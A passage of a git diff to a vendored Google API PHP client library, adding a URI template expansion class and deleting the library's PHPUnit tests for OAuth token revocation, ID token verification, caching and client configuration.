strpos($string, "{"); + if ($start === false) { + return $string; + } + $end = strpos($string, "}"); + if ($end === false) { + return $string; + } + $string = $this->replace($string, $start, $end, $parameters); + return $this->resolveNextSection($string, $parameters); + } + + private function replace($string, $start, $end, $parameters) + { + // We know a data block will have {} round it, so we can strip that. + $data = substr($string, $start + 1, $end - $start - 1); + + // If the first character is one of the reserved operators, it effects + // the processing of the stream. + if (isset($this->operators[$data[0]])) { + $op = $this->operators[$data[0]]; + $data = substr($data, 1); + $prefix = ""; + $prefix_on_missing = false; + + switch ($op) { + case "reserved": + // Reserved means certain characters should not be URL encoded + $data = $this->replaceVars($data, $parameters, ",", null, true); + break; + case "fragment": + // Comma separated with fragment prefix. Bare values only. + $prefix = "#"; + $prefix_on_missing = true; + $data = $this->replaceVars($data, $parameters, ",", null, true); + break; + case "segments": + // Slash separated data. Bare values only. + $prefix = "/"; + $data =$this->replaceVars($data, $parameters, "/"); + break; + case "dotprefix": + // Dot separated data. Bare values only. + $prefix = "."; + $prefix_on_missing = true; + $data = $this->replaceVars($data, $parameters, "."); + break; + case "semicolon": + // Semicolon prefixed and separated. Uses the key name + $prefix = ";"; + $data = $this->replaceVars($data, $parameters, ";", "=", false, true, false); + break; + case "form": + // Standard URL format. Uses the key name + $prefix = "?"; + $data = $this->replaceVars($data, $parameters, "&", "="); + break; + case "continuation": + // Standard URL, but with leading ampersand. Uses key name. + $prefix = "&"; + $data = $this->replaceVars($data, $parameters, "&", "="); + break; + } + + // Add the initial prefix character if data is valid. + if ($data || ($data !== false && $prefix_on_missing)) { + $data = $prefix . $data; + } + + } else { + // If no operator we replace with the defaults. + $data = $this->replaceVars($data, $parameters); + } + // This is chops out the {...} and replaces with the new section. + return substr($string, 0, $start) . $data . substr($string, $end + 1); + } + + private function replaceVars( + $section, + $parameters, + $sep = ",", + $combine = null, + $reserved = false, + $tag_empty = false, + $combine_on_empty = true + ) { + if (strpos($section, ",") === false) { + // If we only have a single value, we can immediately process. + return $this->combine( + $section, + $parameters, + $sep, + $combine, + $reserved, + $tag_empty, + $combine_on_empty + ); + } else { + // If we have multiple values, we need to split and loop over them. + // Each is treated individually, then glued together with the + // separator character. + $vars = explode(",", $section); + return $this->combineList( + $vars, + $sep, + $parameters, + $combine, + $reserved, + false, // Never emit empty strings in multi-param replacements + $combine_on_empty + ); + } + } + + public function combine( + $key, + $parameters, + $sep, + $combine, + $reserved, + $tag_empty, + $combine_on_empty + ) { + $length = false; + $explode = false; + $skip_final_combine = false; + $value = false; + + // Check for length restriction. + if (strpos($key, ":") !== false) { + list($key, $length) = explode(":", $key); + } + + // Check for explode parameter. + if ($key[strlen($key) - 1] == "*") { + $explode = true; + $key = substr($key, 0, -1); + $skip_final_combine = true; + } + + // Define the list separator. + $list_sep = $explode ? $sep : ","; + + if (isset($parameters[$key])) { + $data_type = $this->getDataType($parameters[$key]); + switch ($data_type) { + case self::TYPE_SCALAR: + $value = $this->getValue($parameters[$key], $length); + break; + case self::TYPE_LIST: + $values = array(); + foreach ($parameters[$key] as $pkey => $pvalue) { + $pvalue = $this->getValue($pvalue, $length); + if ($combine && $explode) { + $values[$pkey] = $key . $combine . $pvalue; + } else { + $values[$pkey] = $pvalue; + } + } + $value = implode($list_sep, $values); + if ($value == '') { + return ''; + } + break; + case self::TYPE_MAP: + $values = array(); + foreach ($parameters[$key] as $pkey => $pvalue) { + $pvalue = $this->getValue($pvalue, $length); + if ($explode) { + $pkey = $this->getValue($pkey, $length); + $values[] = $pkey . "=" . $pvalue; // Explode triggers = combine. + } else { + $values[] = $pkey; + $values[] = $pvalue; + } + } + $value = implode($list_sep, $values); + if ($value == '') { + return false; + } + break; + } + } else if ($tag_empty) { + // If we are just indicating empty values with their key name, return that. + return $key; + } else { + // Otherwise we can skip this variable due to not being defined. + return false; + } + + if ($reserved) { + $value = str_replace($this->reservedEncoded, $this->reserved, $value); + } + + // If we do not need to include the key name, we just return the raw + // value. + if (!$combine || $skip_final_combine) { + return $value; + } + + // Else we combine the key name: foo=bar, if value is not the empty string. + return $key . ($value != '' || $combine_on_empty ? $combine . $value : ''); + } + + /** + * Return the type of a passed in value + */ + private function getDataType($data) + { + if (is_array($data)) { + reset($data); + if (key($data) !== 0) { + return self::TYPE_MAP; + } + return self::TYPE_LIST; + } + return self::TYPE_SCALAR; + } + + /** + * Utility function that merges multiple combine calls + * for multi-key templates. + */ + private function combineList( + $vars, + $sep, + $parameters, + $combine, + $reserved, + $tag_empty, + $combine_on_empty + ) { + $ret = array(); + foreach ($vars as $var) { + $response = $this->combine( + $var, + $parameters, + $sep, + $combine, + $reserved, + $tag_empty, + $combine_on_empty + ); + if ($response === false) { + continue; + } + $ret[] = $response; + } + return implode($sep, $ret); + } + + /** + * Utility function to encode and trim values + */ + private function getValue($value, $length) + { + if ($length) { + $value = substr($value, 0, $length); + } + $value = rawurlencode($value); + return $value; + } +} diff --git a/vendor/google/apiclient/tests/BaseTest.php b/vendor/google/apiclient/tests/BaseTest.php deleted file mode 100644 index 0eaa34abac..0000000000 --- a/vendor/google/apiclient/tests/BaseTest.php +++ /dev/null @@ -1,294 +0,0 @@ -client) { - $this->client = $this->createClient(); - } - - return $this->client; - } - - public function getCache($path = null) - { - $path = $path ?: sys_get_temp_dir().'/google-api-php-client-tests/'; - $filesystemAdapter = new Local($path); - $filesystem = new Filesystem($filesystemAdapter); - - return new FilesystemCachePool($filesystem); - } - - private function createClient() - { - $options = [ - 'auth' => 'google_auth', - 'exceptions' => false, - ]; - - if ($proxy = getenv('HTTP_PROXY')) { - $options['proxy'] = $proxy; - $options['verify'] = false; - } - - // adjust constructor depending on guzzle version - if ($this->isGuzzle5()) { - $options = ['defaults' => $options]; - } - - $httpClient = new GuzzleClient($options); - - $client = new Client(); - $client->setApplicationName('google-api-php-client-tests'); - $client->setHttpClient($httpClient); - $client->setScopes( - [ - "https://www.googleapis.com/auth/tasks", - "https://www.googleapis.com/auth/adsense", - "https://www.googleapis.com/auth/youtube", - "https://www.googleapis.com/auth/drive", - ] - ); - - if ($this->key) { - $client->setDeveloperKey($this->key); - } - - list($clientId, $clientSecret) = $this->getClientIdAndSecret(); - $client->setClientId($clientId); - $client->setClientSecret($clientSecret); - if (version_compare(PHP_VERSION, '5.5', '>=')) { - $client->setCache($this->getCache()); - } - - return $client; - } - - public function checkToken() - { - $client = $this->getClient(); - $cache = $client->getCache(); - $cacheItem = $cache->getItem('access_token'); - - if (!$token = $cacheItem->get()) { - if (!$token = $this->tryToGetAnAccessToken($client)) { - return $this->markTestSkipped("Test requires access token"); - } - $cacheItem->set($token); - $cache->save($cacheItem); - } - - $client->setAccessToken($token); - - if ($client->isAccessTokenExpired()) { - // as long as we have client credentials, even if its expired - // our access token will automatically be refreshed - $this->checkClientCredentials(); - } - - return true; - } - - public function tryToGetAnAccessToken(Client $client) - { - $this->checkClientCredentials(); - - $client->setRedirectUri("urn:ietf:wg:oauth:2.0:oob"); - $client->setConfig('access_type', 'offline'); - $authUrl = $client->createAuthUrl(); - echo "\nGo to: $authUrl\n"; - echo "\nPlease enter the auth code:\n"; - ob_flush(); - `open '$authUrl'`; - $authCode = trim(fgets(STDIN)); - - if ($accessToken = $client->fetchAccessTokenWithAuthCode($authCode)) { - if (isset($accessToken['access_token'])) { - return $accessToken; - } - } - - return false; - } - - private function getClientIdAndSecret() - { - $clientId = getenv('GOOGLE_CLIENT_ID') ?: null; - $clientSecret = getenv('GOOGLE_CLIENT_SECRET') ?: null; - - return array($clientId, $clientSecret); - } - - protected function checkClientCredentials() - { - list($clientId, $clientSecret) = $this->getClientIdAndSecret(); - if (!($clientId && $clientSecret)) { - $this->markTestSkipped("Test requires GOOGLE_CLIENT_ID and GOOGLE_CLIENT_SECRET to be set"); - } - } - - protected function checkServiceAccountCredentials() - { - if (!$f = getenv('GOOGLE_APPLICATION_CREDENTIALS')) { - $skip = "This test requires the GOOGLE_APPLICATION_CREDENTIALS environment variable to be set\n" - . "see https://developers.google.com/accounts/docs/application-default-credentials"; - $this->markTestSkipped($skip); - - return false; - } - - if (!file_exists($f)) { - $this->markTestSkipped('invalid path for GOOGLE_APPLICATION_CREDENTIALS'); - } - - return true; - } - - protected function checkKey() - { - if (file_exists($apiKeyFile = __DIR__ . DIRECTORY_SEPARATOR . '.apiKey')) { - $apiKey = file_get_contents($apiKeyFile); - } elseif (!$apiKey = getenv('GOOGLE_API_KEY')) { - $this->markTestSkipped( - "Test requires api key\nYou can create one in your developer console" - ); - file_put_contents($apiKeyFile, $apiKey); - } - $this->key = $apiKey; - } - - protected function loadExample($example) - { - // trick app into thinking we are a web server - $_SERVER['HTTP_USER_AGENT'] = 'google-api-php-client-tests'; - $_SERVER['HTTP_HOST'] = 'localhost'; - $_SERVER['REQUEST_METHOD'] = 'GET'; - - // include the file and return an HTML crawler - $file = __DIR__ . '/../examples/' . $example; - if (is_file($file)) { - ob_start(); - include $file; - $html = ob_get_clean(); - - return new Crawler($html); - } - - return false; - } - - protected function isGuzzle7() - { - if (!defined('\GuzzleHttp\ClientInterface::MAJOR_VERSION')) { - return false; - } - - return (7 === ClientInterface::MAJOR_VERSION); - } - - protected function isGuzzle6() - { - if (!defined('\GuzzleHttp\ClientInterface::VERSION')) { - return false; - } - $version = ClientInterface::VERSION; - - return ('6' === $version[0]); - } - - protected function isGuzzle5() - { - if (!defined('\GuzzleHttp\ClientInterface::VERSION')) { - return false; - } - - $version = ClientInterface::VERSION; - - return ('5' === $version[0]); - } - - public function onlyGuzzle6() - { - if (!$this->isGuzzle6()) { - $this->markTestSkipped('Guzzle 6 only'); - } - } - - public function onlyPhp55AndAbove() - { - if (version_compare(PHP_VERSION, '5.5', '<')) { - $this->markTestSkipped('PHP 5.5 and above only'); - } - } - - public function onlyGuzzle5() - { - if (!$this->isGuzzle5()) { - $this->markTestSkipped('Guzzle 5 only'); - } - } - - public function onlyGuzzle6Or7() - { - if (!$this->isGuzzle6() && !$this->isGuzzle7()) { - $this->markTestSkipped('Guzzle 6 or 7 only'); - } - } - - protected function getGuzzle5ResponseMock() - { - $response = $this->prophesize('GuzzleHttp\Message\ResponseInterface'); - $response->getStatusCode() - ->willReturn(200); - - $response->getHeaders()->willReturn([]); - $response->getBody()->willReturn(''); - $response->getProtocolVersion()->willReturn(''); - $response->getReasonPhrase()->willReturn(''); - - return $response; - } -} diff --git a/vendor/google/apiclient/tests/Google/AccessToken/RevokeTest.php b/vendor/google/apiclient/tests/Google/AccessToken/RevokeTest.php deleted file mode 100644 index 1b3f9c4465..0000000000 --- a/vendor/google/apiclient/tests/Google/AccessToken/RevokeTest.php +++ /dev/null @@ -1,159 +0,0 @@ -onlyGuzzle5(); - - $accessToken = 'ACCESS_TOKEN'; - $refreshToken = 'REFRESH_TOKEN'; - $token = ''; - - $response = $this->prophesize('GuzzleHttp\Message\ResponseInterface'); - $response->getStatusCode() - ->shouldBeCalledTimes(3) - ->willReturn(200); - - $response->getHeaders()->willReturn([]); - $response->getBody()->willReturn(''); - $response->getProtocolVersion()->willReturn(''); - $response->getReasonPhrase()->willReturn(''); - - $http = $this->prophesize('GuzzleHttp\ClientInterface'); - $http->send(Argument::type('GuzzleHttp\Message\RequestInterface')) - ->shouldBeCalledTimes(3) - ->will(function ($args) use (&$token, $response) { - $request = $args[0]; - parse_str((string) $request->getBody(), $fields); - $token = isset($fields['token']) ? $fields['token'] : null; - - return $response->reveal(); - }); - - $requestToken = null; - $request = $this->prophesize('GuzzleHttp\Message\RequestInterface'); - $request->getBody() - ->shouldBeCalledTimes(3) - ->will(function () use (&$requestToken) { - return 'token='.$requestToken; - }); - - $http->createRequest(Argument::any(), Argument::any(), Argument::any()) - ->shouldBeCalledTimes(3) - ->will(function ($args) use (&$requestToken, $request) { - $params = $args[2]; - parse_str((string) $params['body'], $fields); - $requestToken = isset($fields['token']) ? $fields['token'] : null; - - return $request; - }); - - $t = [ - 'access_token' => $accessToken, - 'created' => time(), - 'expires_in' => '3600' - ]; - - // Test with access token. - $revoke = new Revoke($http->reveal()); - $this->assertTrue($revoke->revokeToken($t)); - $this->assertEquals($accessToken, $token); - - // Test with refresh token. - $revoke = new Revoke($http->reveal()); - $t = [ - 'access_token' => $accessToken, - 'refresh_token' => $refreshToken, - 'created' => time(), - 'expires_in' => '3600' - ]; - - $this->assertTrue($revoke->revokeToken($t)); - $this->assertEquals($refreshToken, $token); - - // Test with token string. - $revoke = new Revoke($http->reveal()); - $t = $accessToken; - $this->assertTrue($revoke->revokeToken($t)); - $this->assertEquals($accessToken, $token); - } - - public function testRevokeAccessGuzzle6Or7() - { - $this->onlyGuzzle6Or7(); - - $accessToken = 'ACCESS_TOKEN'; - $refreshToken = 'REFRESH_TOKEN'; - $token = ''; - - $response = $this->prophesize('Psr\Http\Message\ResponseInterface'); - $response->getStatusCode() - ->shouldBeCalledTimes(3) - ->willReturn(200); - - $http = $this->prophesize('GuzzleHttp\ClientInterface'); - $http->send(Argument::type('Psr\Http\Message\RequestInterface'), []) - ->shouldBeCalledTimes(3) - ->will(function ($args) use (&$token, $response) { - parse_str((string) $args[0]->getBody(), $fields); - $token = isset($fields['token']) ? $fields['token'] : null; - - return $response->reveal(); - }); - - $t = [ - 'access_token' => $accessToken, - 'created' => time(), - 'expires_in' => '3600' - ]; - - // Test with access token. - $revoke = new Revoke($http->reveal()); - $this->assertTrue($revoke->revokeToken($t)); - $this->assertEquals($accessToken, $token); - - // Test with refresh token. - $revoke = new Revoke($http->reveal()); - $t = [ - 'access_token' => $accessToken, - 'refresh_token' => $refreshToken, - 'created' => time(), - 'expires_in' => '3600' - ]; - - $this->assertTrue($revoke->revokeToken($t)); - $this->assertEquals($refreshToken, $token); - - // Test with token string. - $revoke = new Revoke($http->reveal()); - $t = $accessToken; - $this->assertTrue($revoke->revokeToken($t)); - $this->assertEquals($accessToken, $token); - } -} diff --git a/vendor/google/apiclient/tests/Google/AccessToken/VerifyTest.php b/vendor/google/apiclient/tests/Google/AccessToken/VerifyTest.php deleted file mode 100644 index b561b55155..0000000000 --- a/vendor/google/apiclient/tests/Google/AccessToken/VerifyTest.php +++ /dev/null @@ -1,160 +0,0 @@ -getClient(); - $verify = new Verify($client->getHttpClient()); - - // set these to values that will be changed - if (defined('MATH_BIGINTEGER_OPENSSL_ENABLED') || defined('CRYPT_RSA_MODE')) { - $this->markTestSkipped('Cannot run test - constants already defined'); - } - - // Pretend we are on App Engine VMs - putenv('GAE_VM=1'); - - $verify->verifyIdToken('a.b.c'); - - putenv('GAE_VM=0'); - - $openSslEnable = constant('MATH_BIGINTEGER_OPENSSL_ENABLED'); - $rsaMode = constant('CRYPT_RSA_MODE'); - $this->assertTrue($openSslEnable); - $this->assertEquals(constant($this->getOpenSslConstant()), $rsaMode); - } - - /** - * Most of the logic for ID token validation is in AuthTest - - * this is just a general check to ensure we verify a valid - * id token if one exists. - */ - public function testValidateIdToken() - { - $this->checkToken(); - - $jwt = $this->getJwtService(); - $client = $this->getClient(); - $http = $client->getHttpClient(); - $token = $client->getAccessToken(); - if ($client->isAccessTokenExpired()) { - $token = $client->fetchAccessTokenWithRefreshToken(); - } - $segments = explode('.', $token['id_token']); - $this->assertCount(3, $segments); - // Extract the client ID in this case as it wont be set on the test client. - $data = json_decode($jwt->urlSafeB64Decode($segments[1])); - $verify = new Verify($http); - $payload = $verify->verifyIdToken($token['id_token'], $data->aud); - $this->assertArrayHasKey('sub', $payload); - $this->assertGreaterThan(0, strlen($payload['sub'])); - - // TODO: Need to be smart about testing/disabling the - // caching for this test to make sense. Not sure how to do that - // at the moment. - $client = $this->getClient(); - $http = $client->getHttpClient(); - $data = json_decode($jwt->urlSafeB64Decode($segments[1])); - $verify = new Verify($http); - $payload = $verify->verifyIdToken($token['id_token'], $data->aud); - $this->assertArrayHasKey('sub', $payload); - $this->assertGreaterThan(0, strlen($payload['sub'])); - } - - /** - * Most of the logic for ID token validation is in AuthTest - - * this is just a general check to ensure we verify a valid - * id token if one exists. - */ - public function testLeewayIsUnchangedWhenPassingInJwt() - { - $this->checkToken(); - - $jwt = $this->getJwtService(); - // set arbitrary leeway so we can check this later - $jwt::$leeway = $leeway = 1.5; - $client = $this->getClient(); - $token = $client->getAccessToken(); - if ($client->isAccessTokenExpired()) { - $token = $client->fetchAccessTokenWithRefreshToken(); - } - $segments = explode('.', $token['id_token']); - $this->assertCount(3, $segments); - // Extract the client ID in this case as it wont be set on the test client. - $data = json_decode($jwt->urlSafeB64Decode($segments[1])); - $verify = new Verify($client->getHttpClient(), null, $jwt); - $payload = $verify->verifyIdToken($token['id_token'], $data->aud); - // verify the leeway is set as it was - $this->assertEquals($leeway, $jwt::$leeway); - } - - public function testRetrieveCertsFromLocation() - { - $client = $this->getClient(); - $verify = new Verify($client->getHttpClient()); - - // make this method public for testing purposes - $method = new ReflectionMethod($verify, 'retrieveCertsFromLocation'); - $method->setAccessible(true); - $certs = $method->invoke($verify, Verify::FEDERATED_SIGNON_CERT_URL); - - $this->assertArrayHasKey('keys', $certs); - $this->assertGreaterThan(1, count($certs['keys'])); - $this->assertArrayHasKey('alg', $certs['keys'][0]); - $this->assertEquals('RS256', $certs['keys'][0]['alg']); - } - - private function getJwtService() - { - if (class_exists('\Firebase\JWT\JWT')) { - return new \Firebase\JWT\JWT; - } - - return new \JWT; - } - - private function getOpenSslConstant() - { - if (class_exists('phpseclib3\Crypt\AES')) { - return 'phpseclib3\Crypt\AES::ENGINE_OPENSSL'; - } - - if (class_exists('phpseclib\Crypt\RSA')) { - return 'phpseclib\Crypt\RSA::MODE_OPENSSL'; - } - - if (class_exists('Crypt_RSA')) { - return 'CRYPT_RSA_MODE_OPENSSL'; - } - } -} diff --git a/vendor/google/apiclient/tests/Google/CacheTest.php b/vendor/google/apiclient/tests/Google/CacheTest.php deleted file mode 100644 index d5168d8689..0000000000 --- a/vendor/google/apiclient/tests/Google/CacheTest.php +++ /dev/null @@ -1,103 +0,0 @@ -checkServiceAccountCredentials(); - - $client = $this->getClient(); - $client->useApplicationDefaultCredentials(); - $client->setAccessType('offline'); - $client->setScopes(['https://www.googleapis.com/auth/drive.readonly']); - $client->setCache(new MemoryCacheItemPool); - - /* Refresh token when expired */ - if ($client->isAccessTokenExpired()) { - $client->refreshTokenWithAssertion(); - } - - /* Make a service call */ - $service = new Drive($client); - $files = $service->files->listFiles(); - $this->assertInstanceOf('Google_Service_Drive_FileList', $files); - } - - public function testFileCache() - { - $this->onlyPhp55AndAbove(); - $this->checkServiceAccountCredentials(); - - $client = new Client(); - $client->useApplicationDefaultCredentials(); - $client->setScopes(['https://www.googleapis.com/auth/drive.readonly']); - // filecache with new cache dir - $cache = $this->getCache(sys_get_temp_dir() . '/cloud-samples-tests-php-cache-test/'); - $client->setCache($cache); - - $token1 = null; - $client->setTokenCallback(function($cacheKey, $accessToken) use ($cache, &$token1) { - $token1 = $accessToken; - $cacheItem = $cache->getItem($cacheKey); - // expire the item - $cacheItem->expiresAt(new DateTime('now -1 second')); - $cache->save($cacheItem); - - $cacheItem2 = $cache->getItem($cacheKey); - }); - - /* Refresh token when expired */ - if ($client->isAccessTokenExpired()) { - $client->refreshTokenWithAssertion(); - } - - /* Make a service call */ - $service = new Drive($client); - $files = $service->files->listFiles(); - $this->assertInstanceOf(Drive\FileList::class, $files); - - sleep(2); - - // make sure the token expires - $client = new Client(); - $client->useApplicationDefaultCredentials(); - $client->setScopes(['https://www.googleapis.com/auth/drive.readonly']); - $client->setCache($cache); - $token2 = null; - $client->setTokenCallback(function($cacheKey, $accessToken) use (&$token2) { - $token2 = $accessToken; - }); - - /* Make another service call */ - $service = new Drive($client); - $files = $service->files->listFiles(); - $this->assertInstanceOf(Drive\FileList::class, $files); - - $this->assertNotEquals($token1, $token2); - } -} diff --git a/vendor/google/apiclient/tests/Google/ClientTest.php b/vendor/google/apiclient/tests/Google/ClientTest.php deleted file mode 100644 index 0feef88f42..0000000000 --- a/vendor/google/apiclient/tests/Google/ClientTest.php +++ /dev/null @@ -1,955 +0,0 @@ -assertInstanceOf(Client::class, $this->getClient()); - } - - public function testSignAppKey() - { - $client = $this->getClient(); - $client->setDeveloperKey('devKey'); - - $http = new GuzzleClient(); - $client->authorize($http); - - $this->checkAuthHandler($http, 'Simple'); - } - - private function checkAuthHandler($http, $className) - { - if ($this->isGuzzle6() || $this->isGuzzle7()) { - $stack = $http->getConfig('handler'); - $class = new ReflectionClass(get_class($stack)); - $property = $class->getProperty('stack'); - $property->setAccessible(true); - $middlewares = $property->getValue($stack); - $middleware = array_pop($middlewares); - - if (null === $className) { - // only the default middlewares have been added - $this->assertCount(3, $middlewares); - } else { - $authClass = sprintf('Google\Auth\Middleware\%sMiddleware', $className); - $this->assertInstanceOf($authClass, $middleware[0]); - } - } else { - $listeners = $http->getEmitter()->listeners('before'); - - if (null === $className) { - $this->assertCount(0, $listeners); - } else { - $authClass = sprintf('Google\Auth\Subscriber\%sSubscriber', $className); - $this->assertCount(1, $listeners); - $this->assertCount(2, $listeners[0]); - $this->assertInstanceOf($authClass, $listeners[0][0]); - } - } - } - - private function checkCredentials($http, $fetcherClass, $sub = null) - { - if ($this->isGuzzle6() || $this->isGuzzle7()) { - $stack = $http->getConfig('handler'); - $class = new ReflectionClass(get_class($stack)); - $property = $class->getProperty('stack'); - $property->setAccessible(true); - $middlewares = $property->getValue($stack); // Works - $middleware = array_pop($middlewares); - $auth = $middleware[0]; - } else { - // access the protected $fetcher property - $listeners = $http->getEmitter()->listeners('before'); - $auth = $listeners[0][0]; - } - - $class = new ReflectionClass(get_class($auth)); - $property = $class->getProperty('fetcher'); - $property->setAccessible(true); - $cacheFetcher = $property->getValue($auth); - $this->assertInstanceOf(FetchAuthTokenCache::class, $cacheFetcher); - - $class = new ReflectionClass(get_class($cacheFetcher)); - $property = $class->getProperty('fetcher'); - $property->setAccessible(true); - $fetcher = $property->getValue($cacheFetcher); - $this->assertInstanceOf($fetcherClass, $fetcher); - - if ($sub) { - // access the protected $auth property - $class = new ReflectionClass(get_class($fetcher)); - $property = $class->getProperty('auth'); - $property->setAccessible(true); - $auth = $property->getValue($fetcher); - - $this->assertEquals($sub, $auth->getSub()); - } - } - - public function testSignAccessToken() - { - $client = $this->getClient(); - - $http = new GuzzleClient(); - $client->setAccessToken([ - 'access_token' => 'test_token', - 'expires_in' => 3600, - 'created' => time(), - ]); - $client->setScopes('test_scope'); - $client->authorize($http); - - $this->checkAuthHandler($http, 'ScopedAccessToken'); - } - - public function testCreateAuthUrl() - { - $client = $this->getClient(); - - $client->setClientId('clientId1'); - $client->setClientSecret('clientSecret1'); - $client->setRedirectUri('http://localhost'); - $client->setDeveloperKey('devKey'); - $client->setState('xyz'); - $client->setAccessType('offline'); - $client->setApprovalPrompt('force'); - $client->setRequestVisibleActions('http://foo'); - $client->setLoginHint('bob@example.org'); - - $authUrl = $client->createAuthUrl("http://googleapis.com/scope/foo"); - $expected = "https://accounts.google.com/o/oauth2/auth" - . "?response_type=code" - . "&access_type=offline" - . "&client_id=clientId1" - . "&redirect_uri=http%3A%2F%2Flocalhost" - . "&state=xyz" - . "&scope=http%3A%2F%2Fgoogleapis.com%2Fscope%2Ffoo" - . "&approval_prompt=force" - . "&login_hint=bob%40example.org"; - - $this->assertEquals($expected, $authUrl); - - // Again with a blank login hint (should remove all traces from authUrl) - $client->setLoginHint(''); - $client->setHostedDomain('example.com'); - $client->setOpenIdRealm('example.com'); - $client->setPrompt('select_account'); - $client->setIncludeGrantedScopes(true); - $authUrl = $client->createAuthUrl("http://googleapis.com/scope/foo"); - $expected = "https://accounts.google.com/o/oauth2/auth" - . "?response_type=code" - . "&access_type=offline" - . "&client_id=clientId1" - . "&redirect_uri=http%3A%2F%2Flocalhost" - . "&state=xyz" - . "&scope=http%3A%2F%2Fgoogleapis.com%2Fscope%2Ffoo" - . "&hd=example.com" - . "&include_granted_scopes=true" - . "&openid.realm=example.com" - . "&prompt=select_account"; - - $this->assertEquals($expected, $authUrl); - } - - public function testPrepareNoScopes() - { - $client = new Client(); - - $scopes = $client->prepareScopes(); - $this->assertNull($scopes); - } - - public function testNoAuthIsNull() - { - $client = new Client(); - - $this->assertNull($client->getAccessToken()); - } - - public function testPrepareService() - { - $this->onlyGuzzle6Or7(); - - $client = new Client(); - $client->setScopes(array("scope1", "scope2")); - $scopes = $client->prepareScopes(); - $this->assertEquals("scope1 scope2", $scopes); - - $client->setScopes(array("", "scope2")); - $scopes = $client->prepareScopes(); - $this->assertEquals(" scope2", $scopes); - - $client->setScopes("scope2"); - $client->addScope("scope3"); - $client->addScope(array("scope4", "scope5")); - $scopes = $client->prepareScopes(); - $this->assertEquals("scope2 scope3 scope4 scope5", $scopes); - - $client->setClientId('test1'); - $client->setRedirectUri('http://localhost/'); - $client->setState('xyz'); - $client->setScopes(array("http://test.com", "scope2")); - $scopes = $client->prepareScopes(); - $this->assertEquals("http://test.com scope2", $scopes); - $this->assertEquals( - '' - . 'https://accounts.google.com/o/oauth2/auth' - . '?response_type=code' - . '&access_type=online' - . '&client_id=test1' - . '&redirect_uri=http%3A%2F%2Flocalhost%2F' - . '&state=xyz' - . '&scope=http%3A%2F%2Ftest.com%20scope2' - . '&approval_prompt=auto', - - $client->createAuthUrl() - ); - - $stream = $this->prophesize('GuzzleHttp\Psr7\Stream'); - $stream->__toString()->willReturn(''); - - $response = $this->prophesize('Psr\Http\Message\ResponseInterface'); - $response->getBody() - ->shouldBeCalledTimes(1) - ->willReturn($stream->reveal()); - - $response->getStatusCode()->willReturn(200); - - $http = $this->prophesize('GuzzleHttp\ClientInterface'); - - $http->send(Argument::type('Psr\Http\Message\RequestInterface'), []) - ->shouldBeCalledTimes(1) - ->willReturn($response->reveal()); - - $client->setHttpClient($http->reveal()); - $dr_service = new Drive($client); - $this->assertInstanceOf('Google\Model', $dr_service->files->listFiles()); - } - - public function testDefaultLogger() - { - $client = new Client(); - $logger = $client->getLogger(); - $this->assertInstanceOf('Monolog\Logger', $logger); - $handler = $logger->popHandler(); - $this->assertInstanceOf('Monolog\Handler\StreamHandler', $handler); - } - - public function testDefaultLoggerAppEngine() - { - $_SERVER['SERVER_SOFTWARE'] = 'Google App Engine'; - $client = new Client(); - $logger = $client->getLogger(); - $handler = $logger->popHandler(); - unset($_SERVER['SERVER_SOFTWARE']); - - $this->assertInstanceOf('Monolog\Logger', $logger); - $this->assertInstanceOf('Monolog\Handler\SyslogHandler', $handler); - } - - public function testSettersGetters() - { - $client = new Client(); - $client->setClientId("client1"); - $client->setClientSecret('client1secret'); - $client->setState('1'); - $client->setApprovalPrompt('force'); - $client->setAccessType('offline'); - - $client->setRedirectUri('localhost'); - $client->setConfig('application_name', 'me'); - - $cache = $this->prophesize(CacheItemPoolInterface::class); - $client->setCache($cache->reveal()); - $this->assertInstanceOf(CacheItemPoolInterface::class, $client->getCache()); - - try { - $client->setAccessToken(null); - $this->fail('Should have thrown an Exception.'); - } catch (InvalidArgumentException $e) { - $this->assertEquals('invalid json token', $e->getMessage()); - } - - $token = array('access_token' => 'token'); - $client->setAccessToken($token); - $this->assertEquals($token, $client->getAccessToken()); - } - - public function testDefaultConfigOptions() - { - $client = new Client(); - if ($this->isGuzzle6() || $this->isGuzzle7()) { - $this->assertArrayHasKey('http_errors', $client->getHttpClient()->getConfig()); - $this->assertArrayNotHasKey('exceptions', $client->getHttpClient()->getConfig()); - $this->assertFalse($client->getHttpClient()->getConfig()['http_errors']); - } - if ($this->isGuzzle5()) { - $this->assertArrayHasKey('exceptions', $client->getHttpClient()->getDefaultOption()); - $this->assertArrayNotHasKey('http_errors', $client->getHttpClient()->getDefaultOption()); - $this->assertFalse($client->getHttpClient()->getDefaultOption()['exceptions']); - } - } - - public function testAppEngineStreamHandlerConfig() - { - $this->onlyGuzzle5(); - - $_SERVER['SERVER_SOFTWARE'] = 'Google App Engine'; - $client = new Client(); - - // check Stream Handler is used - $http = $client->getHttpClient(); - $class = new ReflectionClass(get_class($http)); - $property = $class->getProperty('fsm'); - $property->setAccessible(true); - $fsm = $property->getValue($http); - - $class = new ReflectionClass(get_class($fsm)); - $property = $class->getProperty('handler'); - $property->setAccessible(true); - $handler = $property->getValue($fsm); - - $this->assertInstanceOf('GuzzleHttp\Ring\Client\StreamHandler', $handler); - - unset($_SERVER['SERVER_SOFTWARE']); - } - - public function testAppEngineVerifyConfig() - { - $this->onlyGuzzle5(); - - $_SERVER['SERVER_SOFTWARE'] = 'Google App Engine'; - $client = new Client(); - - $this->assertEquals( - '/etc/ca-certificates.crt', - $client->getHttpClient()->getDefaultOption('verify') - ); - - unset($_SERVER['SERVER_SOFTWARE']); - } - - public function testJsonConfig() - { - // Device config - $client = new Client(); - $device = - '{"installed":{"auth_uri":"https://accounts.google.com/o/oauth2/auth","client_secret"'. - ':"N0aHCBT1qX1VAcF5J1pJAn6S","token_uri":"https://oauth2.googleapis.com/token",'. - '"client_email":"","redirect_uris":["urn:ietf:wg:oauth:2.0:oob","oob"],"client_x509_cert_url"'. - ':"","client_id":"123456789.apps.googleusercontent.com","auth_provider_x509_cert_url":'. - '"https://www.googleapis.com/oauth2/v1/certs"}}'; - $dObj = json_decode($device, true); - $client->setAuthConfig($dObj); - $this->assertEquals($client->getClientId(), $dObj['installed']['client_id']); - $this->assertEquals($client->getClientSecret(), $dObj['installed']['client_secret']); - $this->assertEquals($client->getRedirectUri(), $dObj['installed']['redirect_uris'][0]); - - // Web config - $client = new Client(); - $web = '{"web":{"auth_uri":"https://accounts.google.com/o/oauth2/auth","client_secret"' . - ':"lpoubuib8bj-Fmke_YhhyHGgXc","token_uri":"https://oauth2.googleapis.com/token"' . - ',"client_email":"123456789@developer.gserviceaccount.com","client_x509_cert_url":'. - 